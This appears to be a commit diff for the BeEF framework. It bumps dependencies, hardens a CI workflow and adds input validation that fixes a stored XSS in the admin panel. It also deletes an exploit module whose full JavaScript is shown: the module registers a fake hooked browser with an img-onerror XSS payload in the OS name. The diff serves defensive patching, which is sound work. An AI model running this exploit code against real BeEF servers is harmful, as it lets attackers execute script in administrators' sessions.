Build(deps): bump sqlite3 from 2.9.0 to 2.9.1

Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.9.0 to 2.9.1.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.9.0...v2.9.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.9.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

.github/workflows/github_actions.yml

@@ -3,17 +3,28 @@ name: 'BrowserStack Test'
 on:
   pull_request_target:
     branches: [ master ]
-      
-jobs:    
+    types: [ labeled ]
+
+jobs:
   ubuntu-job:
     name: 'BrowserStack Test on Ubuntu'
-    runs-on: ubuntu-latest  # Can be self-hosted runner also
-    environment:
-      name: Integrate Pull Request
-    env: 
+    runs-on: ubuntu-latest
+    if: github.event.label.name == 'safe_to_test'
+    env:
       GITACTIONS: true
     steps:
 
+      - name: 'Remove safe_to_test label'
+        uses: actions/github-script@v8
+        with:
+          script: |
+            await github.rest.issues.removeLabel({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              issue_number: context.payload.pull_request.number,
+              name: 'safe_to_test'
+            });
+
       - name: 'BrowserStack Env Setup'  # Invokes the setup-env action
         uses: browserstack/github-actions/setup-env@master
         with:
@@ -27,7 +38,7 @@ jobs:
           local-identifier: random
 
       - name: 'Checkout the repository'
-        uses: actions/checkout@v4
+        uses: actions/checkout@v6
         with:
           ref: ${{ github.event.pull_request.head.sha }}
           fetch-depth: 2
@@ -40,11 +51,13 @@ jobs:
         run: |
           sudo apt update
           sudo apt install libcurl4 libcurl4-openssl-dev
+
       - name: 'Configure Bundle testing and install gems'
         run: |
           bundle config unset --local without
           bundle config set --local with 'test' 'development'
           bundle install
+
       - name: 'Run BrowserStack simple verification'
         run: |
           bundle exec rake browserstack --trace

Gemfile

@@ -24,7 +24,7 @@ gem 'rake', '~> 13.3'
 gem 'activerecord', '~> 8.1'
 gem 'otr-activerecord', '~> 2.6.0'
 gem 'sqlite3', '~> 2.9'
-gem 'rubocop', '~> 1.84.2', require: false
+gem 'rubocop', '~> 1.85.0', require: false
 
 # Geolocation support
 group :geoip do

Gemfile.lock

@@ -91,11 +91,16 @@ GEM
       rdoc (>= 4.0.0)
       reline (>= 0.4.2)
     json (2.18.1)
+    json-schema (6.1.0)
+      addressable (~> 2.8)
+      bigdecimal (>= 3.1, < 5)
     language_server-protocol (3.17.0.5)
     lint_roller (1.1.0)
     logger (1.7.0)
     matrix (0.4.3)
     maxmind-db (1.4.0)
+    mcp (0.7.1)
+      json-schema (>= 4.1)
     method_source (1.1.0)
     mime-types (3.7.0)
       logger
@@ -136,7 +141,7 @@ GEM
       activerecord (>= 6.0, < 9.0)
     parallel (1.27.0)
     parseconfig (1.1.2)
-    parser (3.3.10.1)
+    parser (3.3.10.2)
       ast (~> 2.4.1)
       racc
     power_assert (2.0.5)
@@ -199,10 +204,11 @@ GEM
       diff-lcs (>= 1.2.0, < 2.0)
       rspec-support (~> 3.13.0)
     rspec-support (3.13.6)
-    rubocop (1.84.2)
+    rubocop (1.85.0)
       json (~> 2.3)
       language_server-protocol (~> 3.17.0.2)
       lint_roller (~> 1.1.0)
+      mcp (~> 0.6)
       parallel (~> 1.10)
       parser (>= 3.3.0.2)
       rainbow (>= 2.2.2, < 4.0)
@@ -240,14 +246,14 @@ GEM
       rack-session (>= 2.0.0, < 3)
       tilt (~> 2.0)
     slack-notifier (2.4.0)
-    sqlite3 (2.9.0-aarch64-linux-gnu)
-    sqlite3 (2.9.0-aarch64-linux-musl)
-    sqlite3 (2.9.0-arm-linux-gnu)
-    sqlite3 (2.9.0-arm-linux-musl)
-    sqlite3 (2.9.0-arm64-darwin)
-    sqlite3 (2.9.0-x86_64-darwin)
-    sqlite3 (2.9.0-x86_64-linux-gnu)
-    sqlite3 (2.9.0-x86_64-linux-musl)
+    sqlite3 (2.9.1-aarch64-linux-gnu)
+    sqlite3 (2.9.1-aarch64-linux-musl)
+    sqlite3 (2.9.1-arm-linux-gnu)
+    sqlite3 (2.9.1-arm-linux-musl)
+    sqlite3 (2.9.1-arm64-darwin)
+    sqlite3 (2.9.1-x86_64-darwin)
+    sqlite3 (2.9.1-x86_64-linux-gnu)
+    sqlite3 (2.9.1-x86_64-linux-musl)
     stringio (3.2.0)
     sync (0.5.0)
     term-ansicolor (1.11.3)
@@ -339,7 +345,7 @@ DEPENDENCIES
   rdoc (~> 7.2)
   rest-client (~> 2.1.0)
   rspec (~> 3.13)
-  rubocop (~> 1.84.2)
+  rubocop (~> 1.85.0)
   rubyzip (~> 3.2)
   rushover (~> 0.3.0)
   selenium-webdriver (~> 4.41)

core/filters/base.rb

@@ -187,7 +187,7 @@ module BeEF
     def self.has_valid_browser_details_chars?(str)
       return false unless is_non_empty_string?(str)
 
-      !(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil?
+      (str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil?
     end
 
     # Check for valid base details characters

core/filters/browser.rb

@@ -11,7 +11,7 @@ module BeEF
     def self.is_valid_browsername?(str) # rubocop:disable Naming/PredicatePrefix
       return false unless is_non_empty_string?(str)
       return false if str.length > 2
-      return false if has_non_printable_char?(str)
+      return false unless has_valid_browser_details_chars?(str)
 
       true
     end
@@ -21,7 +21,7 @@ module BeEF
     # @return [Boolean] If the string has valid Operating System name characters
     def self.is_valid_osname?(str) # rubocop:disable Naming/PredicatePrefix
       return false unless is_non_empty_string?(str)
-      return false if has_non_printable_char?(str)
+      return false unless has_valid_browser_details_chars?(str)
       return false if str.length < 2
 
       true
@@ -32,7 +32,7 @@ module BeEF
     # @return [Boolean] If the string has valid Hardware name characters
     def self.is_valid_hwname?(str) # rubocop:disable Naming/PredicatePrefix
       return false unless is_non_empty_string?(str)
-      return false if has_non_printable_char?(str)
+      return false unless has_valid_browser_details_chars?(str)
       return false if str.length < 2
 
       true
@@ -71,7 +71,7 @@ module BeEF
     # @return [Boolean] If the string has valid browser / ua string characters
     def self.is_valid_browserstring?(str) # rubocop:disable Naming/PredicatePrefix
       return false unless is_non_empty_string?(str)
-      return false if has_non_printable_char?(str)
+      return false unless has_valid_browser_details_chars?(str)
       return false if str.length > 300
 
       true
@@ -93,7 +93,7 @@ module BeEF
     # @return [Boolean] If the string has valid system platform characters
     def self.is_valid_system_platform?(str) # rubocop:disable Naming/PredicatePrefix
       return false unless is_non_empty_string?(str)
-      return false if has_non_printable_char?(str)
+      return false unless has_valid_browser_details_chars?(str)
       return false if str.length > 200
 
       true

core/main/handlers/browserdetails.rb

@@ -44,7 +44,7 @@ module BeEF
 
           # hooked window host name
           log_zombie_port = 0
-          if !@data['results']['browser.window.hostname'].nil?
+          if !@data['results']['browser.window.hostname'].nil? && BeEF::Filters.is_valid_hostname?(@data['results']['browser.window.hostname'])
             log_zombie_domain = @data['results']['browser.window.hostname']
           elsif !@data['request'].referer.nil? and !@data['request'].referer.empty?
             referer = @data['request'].referer
@@ -59,7 +59,7 @@ module BeEF
           end
 
           # hooked window host port
-          if @data['results']['browser.window.hostport'].nil?
+          if @data['results']['browser.window.hostport'].nil? || !BeEF::Filters.is_valid_port?(@data['results']['browser.window.hostport'].to_s)
             log_zombie_domain_parts = log_zombie_domain.split(':')
             log_zombie_port = log_zombie_domain_parts[1].to_i if log_zombie_domain_parts.length > 1
           else
@@ -92,6 +92,7 @@ module BeEF
             BD.set(session_id, 'browser.name.friendly', browser_friendly_name)
           else
             err_msg "Invalid browser name returned from the hook browser's initial connection."
+            browser_name = 'Unknown'
           end
 
           if BeEF::Filters.is_valid_ip?(zombie.ip)
@@ -242,11 +243,17 @@ module BeEF
             X_FORWARDED
             X_FORWARDED_FOR
           ].each do |header|
-            proxy_clients << (JSON.parse(zombie.httpheaders)[header]).to_s unless JSON.parse(zombie.httpheaders)[header].nil?
+            val = JSON.parse(zombie.httpheaders)[header]
+            unless val.nil?
+              val.to_s.split(',').each do |ip|
+                proxy_clients << ip.strip if BeEF::Filters.is_valid_ip?(ip.strip)
+              end
+            end
           end
 
           # retrieve proxy server
           proxy_server = JSON.parse(zombie.httpheaders)['VIA'] unless JSON.parse(zombie.httpheaders)['VIA'].nil?
+          proxy_server = nil unless proxy_server.nil? || BeEF::Filters.has_valid_browser_details_chars?(proxy_server)
 
           # store and log proxy details
           if using_proxy == true
@@ -273,6 +280,7 @@ module BeEF
             BD.set(session_id, 'browser.version', browser_version)
           else
             err_msg "Invalid browser version returned from the hook browser's initial connection."
+            browser_version = 'Unknown'
           end
 
           # get and store browser string
@@ -293,7 +301,11 @@ module BeEF
 
           # get and store browser language
           browser_lang = get_param(@data['results'], 'browser.language')
-          BD.set(session_id, 'browser.language', browser_lang)
+          if BeEF::Filters.has_valid_browser_details_chars?(browser_lang)
+            BD.set(session_id, 'browser.language', browser_lang)
+          else
+            err_msg "Invalid browser language returned from the hook browser's initial connection."
+          end
 
           # get and store the cookies
           cookies = get_param(@data['results'], 'browser.window.cookies')
@@ -309,6 +321,7 @@ module BeEF
             BD.set(session_id, 'host.os.name', os_name)
           else
             err_msg "Invalid operating system name returned from the hook browser's initial connection."
+            os_name = 'Unknown'
           end
 
           # get and store the OS family
@@ -322,15 +335,28 @@ module BeEF
           # get and store the OS version
           # - without checks as it can be very different, for instance on linux/bsd)
           os_version = get_param(@data['results'], 'host.os.version')
-          BD.set(session_id, 'host.os.version', os_version)
+          if BeEF::Filters.has_valid_browser_details_chars?(os_version)
+            BD.set(session_id, 'host.os.version', os_version)
+          else
+            err_msg "Invalid operating system version returned from the hook browser's initial connection."
+            os_version = 'Unknown'
+          end
 
-          # get and store the OS arch - without checks
+          # get and store the OS arch
           os_arch = get_param(@data['results'], 'host.os.arch')
-          BD.set(session_id, 'host.os.arch', os_arch)
+          if BeEF::Filters.has_valid_browser_details_chars?(os_arch)
+            BD.set(session_id, 'host.os.arch', os_arch)
+          else
+            err_msg "Invalid operating system architecture returned from the hook browser's initial connection."
+          end
 
           # get and store default browser
           default_browser = get_param(@data['results'], 'host.software.defaultbrowser')
-          BD.set(session_id, 'host.software.defaultbrowser', default_browser)
+          if BeEF::Filters.has_valid_browser_details_chars?(default_browser)
+            BD.set(session_id, 'host.software.defaultbrowser', default_browser)
+          else
+            err_msg "Invalid default browser returned from the hook browser's initial connection."
+          end
 
           # get and store the hardware type
           hw_type = get_param(@data['results'], 'hardware.type')

modules/exploits/beef_admin_panel_xss/command.js

@@ -1,168 +0,0 @@
-//
-// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
-// Browser Exploitation Framework (BeEF) - https://beefproject.com
-// See the file 'doc/COPYING' for copying permission
-//
-
-beef.execute(function() {
-
-  var target_beef_url = "<%= @target_beef_url.to_s.gsub('"', '\\"') %>";
-  var xss_payload = "<%= @xss_payload.to_s.gsub('\\', '\\\\\\\\').gsub('"', '\\"').gsub("'", "\\\\'") %>";
-
-  // Generate a random session ID (80 characters, uppercase + digits)
-  function generateHookId() {
-    var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
-    var result = '';
-    for (var i = 0; i < 80; i++) {
-      result += chars.charAt(Math.floor(Math.random() * chars.length));
-    }
-    return result;
-  }
-
-  // Get current timestamp in milliseconds
-  function ts() {
-    return Date.now();
-  }
-
-  // Split string into chunks
-  function chunkString(str, length) {
-    var chunks = [];
-    for (var i = 0; i < str.length; i += length) {
-      chunks.push(str.substring(i, i + length));
-    }
-    return chunks;
-  }
-
-  // Base64 encode (using browser's btoa)
-  function b64encode(str) {
-    return btoa(str);
-  }
-
-  var HOOK = generateHookId();
-
-  // Build the malicious payload - XSS is injected into host.os.name
-  // Note: the payload is wrapped in the img onerror handler
-  var malicious_os_name = "Linux<img src=x onError=" + xss_payload + ">";
-
-  var browser_data = [{
-    "cid": 0,
-    "results": {
-      "browser.window.cookies": "BEEFHOOK=" + HOOK,
-      "browser.name": "FFAA",
-      "browser.version": "146.0",
-      "browser.engine": "Gecko",
-      "browser.name.reported": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
-      "browser.platform": "Linux x86_64",
-      "browser.language": "en-US",
-      "browser.plugins": "PDF Viewer-v.undefined",
-      "browser.window.title": "Unknown",
-      "browser.window.origin": "http://exploited-host:8000",
-      "browser.window.hostname": "exploited-host",
-      "browser.window.hostport": "8000",
-      "browser.window.uri": "http://exploited-host:8000/victim.html",
-      "browser.window.referrer": "http://exploited-host:8000/victim.html",
-      "browser.window.size.width": 1678,
-      "browser.window.size.height": 168,
-      "browser.date.datestamp": "Fri Jan 16 2026 23:34:24 GMT+1000 (Australian Eastern Standard Time)",
-      "host.os.name": malicious_os_name,
-      "host.os.family": "Linux",
-      "host.os.arch": 64,
-      "host.software.defaultbrowser": "Unknown",
-      "hardware.type": "Unknown",
-      "hardware.memory": "unknown",
-      "hardware.gpu": "unknown",
-      "hardware.gpu.vendor": "unknown",
-      "hardware.cpu.arch": "x86_64",
-      "hardware.cpu.cores": 32,
-      "hardware.battery.chargingstatus": "unknown",
-      "hardware.battery.level": "unknown",
-      "hardware.battery.chargingtime": "unknown",
-      "hardware.battery.dischargingtime": "unknown",
-      "hardware.screen.size.width": 5120,
-      "hardware.screen.size.height": 2160,
-      "hardware.screen.colordepth": 24,
-      "hardware.screen.touchenabled": "No",
-      "browser.capabilities.vbscript": "No",
-      "browser.capabilities.flash": "No",
-      "browser.capabilities.silverlight": "No",
-      "browser.capabilities.phonegap": "No",
-      "browser.capabilities.websocket": "Yes",
-      "browser.capabilities.webrtc": "No",
-      "browser.capabilities.webworker": "Yes",
-      "browser.capabilities.webgl": "No",
-      "browser.capabilities.googlegears": "No",
-      "browser.capabilities.activex": "No",
-      "browser.capabilities.quicktime": "No",
-      "browser.capabilities.realplayer": "No",
-      "browser.capabilities.wmp": "No",
-      "browser.capabilities.vlc": "No",
-      "HookSessionID": HOOK
-    },
-    "status": 0,
-    "handler": "/init"
-  }];
-
-  var encoded_data = b64encode(JSON.stringify(browser_data));
-  var chunks = chunkString(encoded_data, 383);
-
-  beef.debug("[BeEF Admin Panel XSS] Sending malicious hook registration to: " + target_beef_url);
-  beef.debug("[BeEF Admin Panel XSS] Generated Hook ID: " + HOOK);
-  beef.debug("[BeEF Admin Panel XSS] Payload chunks: " + chunks.length);
-
-  var requests_sent = 0;
-  var requests_completed = 0;
-  var total_requests = (2 * chunks.length) + 2; // 2 rounds of chunks + hook.js + final dh
-
-  function checkComplete() {
-    if (requests_completed >= total_requests) {
-      beef.net.send("<%= @command_url %>", <%= @command_id %>,
-        "result=Exploit sent successfully. Fake browser registered with Hook ID: " + HOOK +
-        ". XSS will trigger when admin hovers over the browser entry in the Hooked Browsers list.",
-        beef.are.status_success());
-    }
-  }
-
-  // Send chunks for session IDs 1 and 2
-  for (var sid = 1; sid <= 2; sid++) {
-    for (var idx = 0; idx < chunks.length; idx++) {
-      (function(s, i, chunk) {
-        var url = target_beef_url + "/dh?bh=" + HOOK + "&sid=" + s + "&pid=" + (i + 1) + "&pc=" + chunks.length + "&d=" + encodeURIComponent(chunk) + "&_=" + ts();
-        var img = new Image();
-        img.onload = img.onerror = function() {
-          requests_completed++;
-          checkComplete();
-        };
-        img.src = url;
-        requests_sent++;
-      })(sid, idx, chunks[idx]);
-    }
-  }
-
-  // Send hook.js request after a short delay
-  setTimeout(function() {
-    var hookUrl = target_beef_url + "/hook.js?BEEFHOOK=" + HOOK + "&_=" + ts();
-    var img2 = new Image();
-    img2.onload = img2.onerror = function() {
-      requests_completed++;
-      checkComplete();
-    };
-    img2.src = hookUrl;
-    requests_sent++;
-
-    // Send final dh request
-    setTimeout(function() {
-      var finalChunk = chunks[chunks.length - 1] || "";
-      var finalUrl = target_beef_url + "/dh?bh=" + HOOK + "&sid=3&pid=1&pc=1&d=" + encodeURIComponent(finalChunk) + "&_=" + ts();
-      var img3 = new Image();
-      img3.onload = img3.onerror = function() {
-        requests_completed++;
-        checkComplete();
-      };
-      img3.src = finalUrl;
-      requests_sent++;
-    }, 100);
-  }, 500);
-
-  beef.debug("[BeEF Admin Panel XSS] Initiated " + requests_sent + " requests");
-
-});

modules/exploits/beef_admin_panel_xss/config.yaml

@@ -1,15 +0,0 @@
-#
-# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - https://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-beef:
-    module:
-        beef_admin_panel_xss:
-            enable: true
-            category: "Exploits"
-            name: "BeEF Admin Panel XSS"
-            description: "This module exploits a Stored XSS vulnerability in the BeEF Admin Panel's Hooked Browsers tooltip. It registers a fake hooked browser with a malicious OS name containing JavaScript payload. When the BeEF administrator hovers over the fake browser entry, the XSS payload executes.<br/><br/>This can be used to test if a target BeEF instance is running a vulnerable version."
-            authors: ["author"]
-            target:
-                working: ["ALL"]

modules/exploits/beef_admin_panel_xss/module.rb

@@ -1,17 +0,0 @@
-#
-# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - https://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-class Beef_admin_panel_xss < BeEF::Core::Command
-  def self.options
-    [
-      { 'name' => 'target_beef_url', 'ui_label' => 'Target BeEF URL', 'value' => 'http://localhost:3000', 'width' => '300px' },
-      { 'name' => 'xss_payload', 'ui_label' => 'XSS Payload (JavaScript)', 'value' => "alert(String.fromCharCode(88,83,83))", 'width' => '400px' }
-    ]
-  end
-
-  def post_execute
-    save({ 'result' => @datastore['result'] })
-  end
-end